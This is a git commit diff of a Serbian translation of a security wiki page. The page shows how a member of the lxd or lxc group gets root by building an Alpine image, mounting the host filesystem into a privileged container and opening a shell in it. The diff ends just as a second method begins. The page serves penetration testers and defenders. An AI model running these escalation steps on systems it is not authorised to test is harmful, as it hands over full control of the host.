Translated ['src/linux-hardening/privilege-escalation/interesting-groups

This commit is contained in:
Translator 2025-05-20 15:10:45 +00:00
parent 8c91ba39ea
commit 20214157df

View File

@ -8,18 +8,23 @@ Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root
### Metoda 1 ### Metoda 1
Možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a): Možete preuzeti alpine sliku za korišćenje sa lxd iz pouzdane biblioteke.
Canonical objavljuje dnevne verzije na njihovom sajtu: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)
Samo preuzmite **lxd.tar.xz** i **rootfs.squashfs** iz najnovije verzije. (Ime direktorijuma je datum).
Alternativno, možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (pratite uputstva sa github-a):
```bash ```bash
sudo su
# Install requirements # Install requirements
sudo apt update sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
# Clone repo # Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder git clone https://github.com/lxc/distrobuilder
# Make distrobuilder # Make distrobuilder
cd distrobuilder cd ./distrobuilder
make make
# Prepare the creation of alpine # Prepare the creation of alpine
@ -27,13 +32,10 @@ mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Create the container # Create the container - Beware of architecture while compiling locally.
## Using build-lxd sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
``` ```
Otpremite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner: Otpremite datoteke **incus.tar.xz** (**lxd.tar.xz** ako ste preuzeli iz Canonical repozitorijuma) i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
```bash ```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -49,8 +51,8 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
``` ```
> [!CAUTION] > [!CAUTION]
> Ako pronađete ovu grešku _**Greška: Nema pronađenog skladišnog bazena. Molimo kreirajte novi skladišni bazen**_\ > Ako naiđete na ovu grešku _**Greška: Nema pronađenog skladišnog prostora. Molimo kreirajte novi skladišni prostor**_\
> Pokrenite **`lxd init`** i **ponovite** prethodni deo komandi > Pokrenite **`lxd init`** i postavite sve opcije na podrazumevane. Zatim **ponovite** prethodni deo komandi
Na kraju možete izvršiti kontejner i dobiti root: Na kraju možete izvršiti kontejner i dobiti root:
```bash ```bash
@ -58,7 +60,7 @@ lxc start privesc
lxc exec privesc /bin/sh lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
``` ```
### Metod 2 ### Metoda 2
Izgradite Alpine sliku i pokrenite je koristeći flag `security.privileged=true`, prisiljavajući kontejner da komunicira kao root sa host datotečnim sistemom. Izgradite Alpine sliku i pokrenite je koristeći flag `security.privileged=true`, prisiljavajući kontejner da komunicira kao root sa host datotečnim sistemom.
```bash ```bash